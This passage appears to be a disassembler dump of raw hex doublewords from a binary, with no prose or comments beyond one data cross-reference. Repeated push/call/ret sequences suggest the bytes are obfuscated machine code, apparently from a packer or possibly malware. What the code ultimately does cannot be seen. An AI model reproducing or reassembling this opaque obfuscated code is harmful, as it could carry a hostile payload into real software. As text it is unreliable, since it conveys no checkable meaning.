895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 812DC357h, 0B4DF24F6h, 19958902h, 0FF05EA2Ch, 0F8C0FD3h dd 0E9000000h, 0Ah, 901FEAF1h, 0B04BFB90h, 85FF5D3Bh, 5EA1C49h dd 3EEE8166h, 86CE961h, 0E80000h, 5D000000h, 3C0EED81h dd 858905EEh, 5EA16E9h, 169DBD81h, 7D005EAh, 860F0000h dd 18Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0D2C35343h, 2DB53306h, 8B05EA01h, 0EA1E719Dh, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 84343E0Ah, 616B3E2Bh, 0E38148h, 6A000001h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 2708C352h, 0A1CF058Dh, 8B4CDCADh, 0EA0EC1B5h, 0FDB0B05h dd 0A885h, 0C9B58900h, 8305EA06h, 0EE3A93BDh, 840F0005h dd 5Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h dd 29C35141h, 58D0E6F1h, 0C9B58914h, 0F05EA19h, 380h, 0F3B70F00h dd 92E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 0DF98E090h, 510BC924h, 9F6F92BEh dd 9385C728h, 105EE3Ah, 0E9000000h, 5Bh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 15h, 0B2C35040h, 19BD8B76h dd 8905EA09h, 0EA11E1BDh, 9385C705h, 5EE3Ah, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 2B85C351h, 0EA2555BDh, 0FDB58B05h, 8D05EA0Ch dd 0EA1E719Dh, 0FF238105h, 6AFFFFFEh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 446C355h dd 0DE8166F8h, 8C6624DEh, 3DB58BDBh, 0F605EA2Eh, 840F04C3h dd 92h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h dd 57C35242h, 60F78052h, 0AE9h, 20D1A700h, 0AE6B6D99h dd 8BAE8610h, 0EA08299Dh, 95FF6105h, 5EA2AC5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E3C35242h, 0ADD73CA4h dd 4F810D02h, 11E950h, 9B700000h, 0F6B8A5B6h, 6F2FC5B3h dd 1BD3808Eh, 896CBE85h, 0CE82404h, 8D000000h, 0A7E6CE55h dd 600648B8h, 29B8502Fh, 0EA0B5595h, 0B4E95E05h, 89000003h dd 0EA0D7DB5h, 6A00B005h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0E695C353h, 1BD8B70h dd 0E405EA0Ch, 0FF88B71h, 13E9D8B6h, 4000000h, 0D0372B4Bh dd 0B3176883h, 96F40694h, 82B07Ch, 6BA6974h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 1B6CC357h, 8BD104CCh, 0F19D89C3h, 0C105EA16h dd 0B58B04E8h, 5EA02C9h, 8BE2F766h, 0EA1CEDB5h, 6AD82B05h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 4BDFC352h, 8808BF66h, 0E8606050h, 14h, 5A241A04h dd 3F5CB8DBh, 0BD3A6386h, 2256FB4Dh, 8F1F35Bh, 61F18B5Fh dd 89615A53h, 6A241Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 66B9B7C3h, 0A47EEF81h, 3159B589h dd 0B5FF05EAh, 5EA169Dh, 0F7D78166h, 1595FF57h, 6A05EA10h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 0B03BC353h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 83660004h dd 1C657526h, 0BD095332h, 5EA0661h, 6A70E6h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0FE8BEAC3h dd 10E8h, 0E25D6400h, 0E30BA06h, 45B7FFCDh, 0E6D8B949h dd 3D858999h, 5F05EA2Ah, 6A71E4h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0AC2D3BC3h, 0A88A3DC3h dd 870F8ACFh, 0Eh, 9E9h, 193F5500h, 83679FC0h, 613CE631h dd 1E1830Fh, 0BF0F0000h, 0D8B60FF9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 20C35141h, 2AD55634h, 0F7A0ED95h dd 9DB58953h, 5E05EA1Dh, 6880Fh, 0B5330000h, 5EA0235h dd 6BAh, 0C38BF500h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 22C35343h, 0A3E56BD2h, 0FC46238h, 8Ch dd 22BF6600h, 4E8C174h, 28D0Fh, 0F98B0000h, 81E2F766h dd 7A50D2DFh, 8BD82B65h, 0EA2A01BDh, 0EE95805h, 0D6000000h dd 0BF9962B7h, 5CF5244Bh, 9B47220Ah, 0FD82B0Fh, 13688h dd 219D2900h, 0B905EA31h, 7, 1DE5BD89h, 852905EAh, 5EA14A9h dd 0FC00C183h, 3CDE8166h, 0FD93B85h, 10E86h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 6F05EDB8h, 0DA490484h, 9A9ABFBDh, 85311A7Ch, 5EA112Dh dd 6AD98C66h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0A8EFC350h, 84F943Ah, 898A871Ch dd 0EA2EED85h, 4C1F605h, 9B840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0E4CBF0C3h dd 0E611DE3Fh, 95FF57F0h, 5EA2AC5h, 52006A5Bh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0BC22C17h dd 8D0937D0h, 5EA11A9h, 6AC32Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 958910C3h, 5EA2DF5h dd 8343Dh, 1A860F00h, 0F000000h, 20E9F7B7h, 0F000000h dd 0C80h, 68E0F00h, 8B000000h, 0EA2EE9B5h, 0FC08B05h, 68Dh dd 0F59D8900h, 8B05EA15h, 66D88BC3h, 0E91788BEh, 0Ah, 0F463688Fh dd 5DD9D91Dh, 85C76745h, 5EA20E1h, 55A23F95h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 6DC35141h, 30F84E3Ch dd 0C19B58Bh, 0C08B05EAh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 62C35242h, 23ADFE0Fh, 8141C2D2h, 0EA169DBDh dd 7D005h, 44850F00h, 0E9000000h, 0Fh dd 80375BE6h, 195ED522h, 0AECBA2D1h, 0FFA784B0h, 0EA169D85h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0CDE301FBh, 92B4BB82h, 14DE81F6h, 0FF741C07h dd 0EA169DB5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 916E136Bh, 0B745AD00h dd 98D0F0Bh, 60000000h, 6DC5BB66h, 61C3BF0Fh, 117DB503h dd 95FF05EAh, 5EA1015h, 0C6D9D09h, 6A9005EAh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 8BA3C350h, 0EA1CA5B5h, 0CF816605h, 0FE83D84h, 69000000h dd 4D68E934h, 66C229F8h, 8878A87Dh, 66F8827Eh, 6A5FFB8Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8B6FC352h, 0EA2491BDh, 0F7BF0F05h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 87C35747h, 6840Fh dd 95890000h, 5EA32F5h, 6AFBBF0Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 440EC350h dd 0E3EA4DD2h, 2D619D31h, 0B53305EAh, 5EA2A91h, 75B50Bh dd 0FFC05EAh, 8Fh, 0FABF0F00h, 0BE9h, 0F3F44900h, 0F659D238h dd 9B6F2262h, 10DB58Bh, 6A05EAh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0DB3453C3h, 0B36630C2h dd 10E96735h, 0B7000000h, 0D77DCF91h, 0FE9F4124h, 0E847E9BDh dd 0E9E402BAh, 0FFFFF7C6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0CAC35747h, 4CCAA85Fh, 0BD8B517Bh, 5EA17F1h dd 2F1D8589h, 0F5E05EAh, 6A60FBBFh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 3D11C357h dd 0F6053C0h, 48Ch, 23B96600h, 0D8BF0F2Eh, 818D8961h, 0B905EA29h dd 0FFFFFFFEh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 61C35040h, 63D40DA7h, 8D21FDB0h, 5EA0715h, 8D21DE8Ah dd 5EA14D5h, 7158D8Bh db 0EAh, 5 word_584F4E dw 160h ; DATA XREF: ___:0043683Co dd 0EA31119Dh, 82E68105h, 613FE3DDh, 0F01E183h, 185h, 8D8BF800h dd 5EA14D5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0F8C35242h, 89A88463h, 0EA131D95h, 1E18305h, 6850Fh dd 0BD890000h, 5EA0735h, 6A6061h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 83750CC3h, 0E19DB5BFh dd 897A0C94h, 0EA20898Dh, 850F6005h, 0Ah, 5E9h, 0ACA8A100h dd 0B961812Ch, 0FFFFFFFEh, 8D21F98Ah, 5EA0B45h, 0FF443CBAh dd 14E88125h, 211A4A40h, 0EA15598Dh, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 53E3DF2Dh dd 458D8BBFh, 6605EA0Bh, 0E183F88Bh, 1850F01h, 0F8000000h dd 15598D8Bh, 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0F57B54C3h, 0F01E183h, 2E85h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0F501C66h, 587h, 0CE816600h, 665EB787h, 61C112B8h, 51006A60h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 0A3260943h, 31B59523h, 0FEB905EAh, 0E9FFFFFFh, 13h dd 2A690892h, 0AD306F31h, 12566BF5h, 75C5B161h, 21276C42h dd 0EA2C818Dh, 81858905h, 2105EA29h, 0EA146D8Dh, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0D24233Fh, 8AE2B9E3h, 8BC3DF80h, 0EA2C818Dh, 2CB86605h dd 1E183FFh, 0B850Fh, 0E7800000h, 2800FFEh, 0B6000000h dd 6D8D8B44h, 5105EA14h, 68A0Fh, 0B58B0000h, 5EA0A21h dd 1E1835Bh, 27850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 4BB3DCC3h, 0AFDDA808h dd 0F55D4BEh, 6A606151h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0B2CCC353h, 0FFFEB989h dd 9E9FFFFh, 9C000000h, 615CFA72h, 8B43F9DBh, 20E18D21h dd 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 0E2DC9BC3h, 0D387ADBBh, 718D217Bh, 6A05EA1Eh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 117EC351h, 9857AF06h, 6652F3CCh, 5F1AC7B8h dd 20E18D8Bh, 665305EAh, 835BFA8Bh, 850F01E1h, 6, 310D9D23h dd 8D8B05EAh, 5EA1E71h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 2EC35242h, 74422DC9h, 0FA330B23h, 1E18333h dd 5850Fh, 7DBF0000h, 61713C4Bh, 56006A60h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 33A48B17h dd 0EA141D85h, 9D85C705h, 0D005EA16h, 6A000007h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0E3EEC353h, 0A24A5490h, 0E3AACAD6h, 66CAB70Fh, 61F4C6BAh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F8C35646h dd 5E8h, 115ABA00h, 8166892Ah, 5B5A92F7h, 9D6107EBh, 0E9h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0A9D9480h, 196CFCF9h, 0C6819AE7h, 0ACA840Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 9DC35343h dd 7251EB30h, 0E0D3B71Dh, 75E9C18Bh, 60000000h, 0A8D88C66h dd 35840F04h, 6A000000h, 45B5FF01h, 8D05EA1Dh, 0EDAFA085h dd 89D0FF05h, 0EA2B7185h, 0C1FE8B05h, 680CEFh, 6A200400h dd 57026A00h, 1000D68h, 7195FF00h, 0E905EA2Bh, 32h, 1A4585C6h dd 685605EAh, 0A9C530DFh, 238DB5FFh, 858D05EAh, 5EDAFA0h dd 8589D0FFh, 5EA00B5h, 0BA9858Dh, 6A5005EAh, 56056A20h dd 0B595FFh, 0C36105EAh, 0EB06E0C1h, 0E09104Bh, 1AC53C2Fh dd 0A4ACDA4Bh, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h, 29B327CEh dd 0DD5B34D1h, 17E62AC7h, 34DF1BCEh, 0A6DB67h, 465AD5h dd 0D5A3EA1Ah, 0 dd 0FEC9199Ch, 0FE470000h, 0FBh, 27E64128h, 0C3727DD4h dd 0EA4E9h, 0DF816600h, 57B74228h, 2D1BD83h, 0F0005EAh dd 3885h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 20E95C42h, 99C0C341h, 0B8CA8Bh, 3000000h dd 0EA2B0D95h, 4C205h, 0DAEF8166h, 6AC08B40h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 15C4C351h, 58C2F396h, 13D9BD83h, 750005EAh, 0E5BD8309h dd 5EA2Eh, 53501374h, 0D0B8C08Bh, 8D000004h, 0ECDBC99Dh dd 5BD3FF05h, 0E5BD8358h, 5EA2Eh, 53501174h, 4D0B8h, 169D8D00h dd 0FF05ECDBh, 9585BD3h, 0EA29299Dh, 0F6DB8105h, 2959AFE4h dd 0EA008195h, 6AC08B05h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 5F2EC352h, 61D8CA2Ch dd 9E772A7Fh, 0EE9h, 0B395F800h, 2A5FFC12h, 429AED57h dd 6608756Bh, 8D8F5CB9h, 0EE498385h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 4C7EAA07h dd 8BF20ECFh, 0EA2A3DBDh, 91F78105h, 502D9CF8h, 8B666052h dd 615953FAh, 2404895Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0B0C35141h, 14447824h, 0FA8BCC97h, 4940858Dh dd 6A05EEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 0FE41F5C3h, 86D014EFh, 0B6EE2E6Eh, 0DD8D8B80h dd 9005EA24h, 5BBA6660h, 0F5061D5h, 48Fh, 0E0BA6600h, 6A9092h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 40FA8EC3h, 0C52FFBA4h, 0BE9E3h, 8B710000h, 0E494D96Eh dd 0B26B7176h, 8D316026h, 5EA1555h, 0BDCAF381h, 0FF614007h dd 0EA0CDD95h, 0B58D8B05h, 8B05EA1Bh, 81042444h, 121F28D1h dd 6B858967h, 8B05EE49h, 0EA06719Dh, 24448B05h, 55006A08h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 118D8B1Bh, 8905EA07h, 0EE497F85h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 306F312Ah dd 566BF5ADh, 7F99D8Bh, 950305EAh, 5EA2F3Dh, 32F1958Bh dd 0BD8305EAh, 5EA0C81h, 6A850F00h, 6A000001h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 4C52C357h, 35616EE3h, 3FDF8166h, 0F606070h, 0F08AD0B7h dd 81853161h, 6105EA20h, 1A4585C6h, 6A4705EAh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0DB44C350h, 0B983AF72h, 8531D6C2h, 5EA3061h, 32E5BD89h dd 4E805EAh, 0D2000000h, 66D49AA7h, 0E950CA8Bh, 0Fh, 22E6A3EBh dd 74FD94Bh, 9B7AB819h, 8B303930h, 0E9042444h, 14h, 8B24D143h dd 0B95F21F3h, 0C63281A6h, 318942C0h, 4675E10Ch, 4489008Bh dd 0CE8B0424h, 0B9958B58h, 8905EA1Bh, 0EA1699B5h, 8DB5FF05h dd 6A05EA23h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0BFDFC357h, 71E5B38Dh, 0AFA0858Dh dd 6A05EDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0F02CDC3h, 0D0FFD1BFh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 97C35242h, 1261552Eh, 9E8h dd 7F55100h, 0E656D71Fh, 9D8BD97Fh, 5EA2515h, 81858959h dd 6A05EA0Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0AB40C353h, 1F5B8E18h, 0D9BD83F5h dd 5EA09h, 0CC850Fh, 8A600000h, 1DBD09D9h, 6105EA33h, 1A4585C6h dd 6A4705EAh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0E589C351h, 9E9E9h, 3FE70000h dd 878F4A7Bh, 6893CF87h, 4339FD95h, 481D78Bh, 0D5B84D24h dd 53006A46h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 70463397h, 0A7BE8EC5h, 880F1DC0h, 3, 0FFD98B66h dd 0EA238DB5h, 48A0F05h, 66000000h, 8DB0C7B9h, 0EDAFA085h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0FF7EB509h, 199D8BD0h, 6605EA09h, 926FCB81h dd 9D98589h, 958B05EAh, 5EA1C05h, 1659509h, 0BD8305EAh dd 5EA09B1h, 0B8850F00h, 0F000000h, 85C6F9BFh, 5EA1A45h dd 11E956h, 0EC1A0000h, 0F2FA90E9h, 0A6E544A7h, 0F75CF0E5h dd 68A71181h, 0B2F0FB3Ch, 0FD240481h, 6A212E71h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0C7A7C350h, 55890EB4h, 0A4EC67A2h, 5BFFBA66h, 8DB5FFFCh dd 6A05EA23h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0E438C355h, 0BA66498Ah, 858D1B2Fh dd 5EDAFA0h, 0C018D8Bh, 0D0FF05EAh, 10E9h, 3B363600h, 0B80495ABh dd 51F090BFh, 0FD232689h, 0E99D2915h, 8905EA0Eh, 0EA09B185h dd 0F1816605h, 7DBAA904h, 0C65F936Dh, 0EA1A4585h, 6A6C05h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 9A2CCFC3h, 0B999442Bh, 8B66E988h, 459D03FAh, 6805EA11h dd 92387BDDh, 481D88Bh, 0CCF4A624h, 1D8D3148h, 8A05EA0Ch dd 45B5FFEFh, 905EA1Dh, 0EA0EE1B5h, 69858D05h, 8B05EA39h dd 0EA05DD9Dh, 89D0FF05h, 0EA0121B5h, 6F858905h, 8905EE49h dd 0EA23659Dh, 81853105h, 6A05EA29h, 50006A04h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0EEF36281h dd 63E2A867h, 0D3B70F76h, 6573FA68h, 800F6031h, 2, 0D08B95B7h dd 24348161h, 316563FAh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0A3C35646h, 8D8B40B3h, 5EA0F15h, 0AA90BF66h dd 4E8h, 1000000h, 9C35B900h, 0E8505C34h, 7, 75C4BDFBh dd 0E8FCA92Bh, 0Eh, 47026FF3h, 8C2D1BBBh, 0C960904Fh, 5250F69Fh dd 585A310Fh, 448B5B5Bh, 0BF660424h, 8BBA14h, 44892FB5h dd 0CE80424h, 5E000000h, 0FEA4954Bh, 0DA024854h, 0FBD85B8h dd 28Ah, 5AFB8B00h, 0D99D2358h, 6A05EA12h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 1F93DC7Ah, 958BA983h, 5EA32B5h, 23FD95FFh, 6A05EAh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 860F80C3h, 3, 89F8B70Fh, 0EE497B85h, 50006A05h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 92BFAA5Eh, 2291E05Fh, 0FEB70F7Ch, 0BE95053h, 0D1000000h dd 1FABD5B1h, 4F70706Bh, 5F5AE734h, 10E9006Ah, 3B000000h dd 2C28537Eh, 0FB3DFA5Dh, 8D140AE6h, 0E825F004h, 4, 10000h dd 0E850E6B3h, 6, 6C661343h, 8B6680CBh, 448B5FFAh, 8B660424h dd 0F008BFAh, 1A89h, 12E85700h, 0DB000000h, 873A0D05h dd 0C0D31788h, 1A36C789h, 3465DDCEh, 89595A45h, 58042444h dd 9E8h, 0FB8F8E00h, 46BAE428h, 905AA869h, 0E850Fh, 52500000h dd 310F5250h, 310F585Ah, 585A6160h dd 0ACBA6650h, 605290D8h, 61D78B66h, 890B6A59h, 0EA00798Dh dd 882EBB05h, 858D3E11h, 5EE4948h, 1CDDBD8Bh, 505005EAh dd 0F08B6052h, 0F61DEB0h, 0DF8B6631h, 489585Ah, 8195FF24h dd 6005EA0Ch, 0EE9h, 68286F00h, 0EE888882h, 74C66E2Eh dd 0FF79287h, 183h, 8D61FC00h, 0EE4952B5h, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 84D6D46Ah, 6D13C0FDh, 9531CA8Bh, 5EA1CDDh, 89CB8B50h dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0EA0FAEC3h, 429E17ADh, 62B37B47h, 7E850h dd 84BA0000h, 0BFA2BDE1h, 8A5250DAh, 0E9310FF8h, 0Dh, 2E11D6DBh dd 0B6E6AFAFh, 0EDCC923Ah, 5F585A71h, 81240489h, 0BA23E4D2h dd 0D995FF1Ch, 6A05EA09h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 58C3C356h, 6AD0FFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 9A04BFC3h, 10E8h, 16C27900h, 22D0307Ch, 12CAAE05h, 300CAA4Dh dd 59FC8A40h, 497BB58Bh, 8D8905EEh, 5EA205Dh, 497385C7h dd 5EEh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0FDE05BC3h, 0FFA8B84h, 28Ah, 80EF8A00h dd 0F00207Eh, 33184h, 9D958B00h, 6005EA14h, 68F0Fh, 0B5090000h dd 5EA0065h, 6A20468Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 9451C357h, 2A35958Bh dd 890F05EAh, 6, 2C9D9589h, 858905EAh, 5EE4977h, 67D9D09h dd 4BE905EAh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 8DAFC356h, 0F0E81D7Dh dd 6A4019h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 952760C3h, 0C05AE358h, 0B966B096h, 3880828Fh dd 0CE850F00h, 8BFFFFFFh, 0EA0EE18Dh, 4E905h, 80480000h dd 388073F6h, 91840F5Ch, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0CBEFC353h dd 6E9F7C5h, 52000000h, 0A886A21Ah, 2F38809Bh, 5E840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0DA30A6C3h, 4977853Bh, 830F05EEh, 0FFFFFF96h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0FBC35242h dd 60E60084h, 8E9h, 5A68500h, 0D6691C6Ah, 21BD2987h, 6105EA2Ch dd 87BF6640h, 7FBD83EFh, 5EE49h, 86840Fh, 67BF0000h, 90700F99h dd 0FE953h, 0C4400000h, 82A327CEh, 0A6574D41h, 2190F607h dd 0E850595Eh, 13h, 0D703CC48h, 0DDEB4C5Ah, 4A875C60h dd 0AA7B5F13h, 0B3A3C3AAh, 81905FB2h, 48B9D3D7h, 7F850344h dd 0B205EE49h, 0C6A3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 0A7C35545h, 58AFABC5h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 14h, 0CEC35747h, 0C7BF6650h dd 2404892Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 7DC35242h, 0B6D26F43h, 6BB5FF4Eh, 0F05EE49h, 980h dd 38A0F00h, 0F000000h, 8B0FD1BFh, 5, 9AF28166h, 6F95FF80h dd 6A05EE49h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 0EFB0C356h, 3FFC7236h, 8B609066h dd 0EA2C0DBDh, 0C1858B05h, 6105EA23h, 850FC00Bh, 7Bh, 5DB1BA66h dd 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 7BED3Eh, 497385C7h, 105EEh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0C1A277C3h, 8AB1B966h, 0E5E38057h, 79958959h, 0E905EA00h dd 5Eh, 8F0Fh, 10E90000h, 12000000h, 681BD834h, 0FC6B2B7Fh dd 649F4766h, 61759DE1h, 6E9h, 99964B00h, 818DBFCBh, 11CC6h dd 0D4E28000h, 0FFFCEEE9h, 57006AFFh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0DAB56AB4h dd 74B97DD1h, 5C07C381h, 4E86494h, 0 dd 8B000080h, 29B550DAh, 424448Bh, 21B95250h, 0F059886h dd 5AF88B31h, 89008B58h, 60042444h, 7E9h, 1C3EA200h, 520168FDh dd 8E95250h, 4E000000h, 3BB21E25h, 0F981457h, 61585A31h dd 0A9958958h, 6A05EA31h, 0E99D8B00h, 0FF05EA2Ah, 0EE497BB5h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 0E1800C9Ah, 81667D21h, 0FFF1B5E3h, 0EA09B195h dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 0F521E45h, 858BDAB7h, 5EE4973h, 458D8B51h dd 5905EA30h, 0D98B6690h, 10E850h, 58080000h, 8E8909DCh dd 0FAE468BAh, 50BA26DEh, 0DF8B2E9Dh, 8D23905Ah, 5EA14A1h dd 4983858Dh, 0C9BF05EEh, 5054976Dh, 13E8h, 11FEAB00h dd 0E2DDD86h, 3642A760h, 3B6787AFh, 53DF1DCAh, 12E8h, 5030FC00h dd 0C39D4F3h, 66832669h, 0C498DFDCh, 0F7C1F66h, 84h, 895F5B00h dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 17C4A7C3h, 6060E12Fh, 0AB1B58Bh, 858B05EAh dd 5EA2A39h, 0E9D0B961h, 8D617848h, 0EE494085h, 8EC58005h dd 98BA6650h, 240489F2h, 0F18D2960h, 0B705EA31h, 95FF610Bh dd 5EA075Dh, 2D4D9533h, 0C08B05EAh, 14199589h, 0BD8305EAh dd 5EA13D9h, 83097500h, 0EA2EE5BDh, 13740005h, 0C08B5350h dd 4D0B8h, 309D8D00h, 0FF05ECDCh, 83585BD3h, 0EA2EE5BDh dd 11740005h, 0D0B85350h, 8D000004h, 0ECDB2F9Dh, 5BD3FF05h dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0C8DF81FAh, 8B2A2D2Ch, 1BE980C0h, 7E958h dd 0C0870000h, 0B0CDF93Dh, 8C2EDh, 0D7D78166h, 0FC08BBDh dd 1588h, 0BE800h, 0CE100000h, 5302C33Bh, 11E924Ch, 0DAB96628h dd 858D5B63h, 5EE4997h, 3758D89h, 858905EAh, 5EA237Dh dd 0DE816660h, 0C08B5CA0h, 0CE960h, 0B5A10000h, 0C389F46Fh dd 14FAFAC8h, 8B60B7BDh, 0EA0F5D85h, 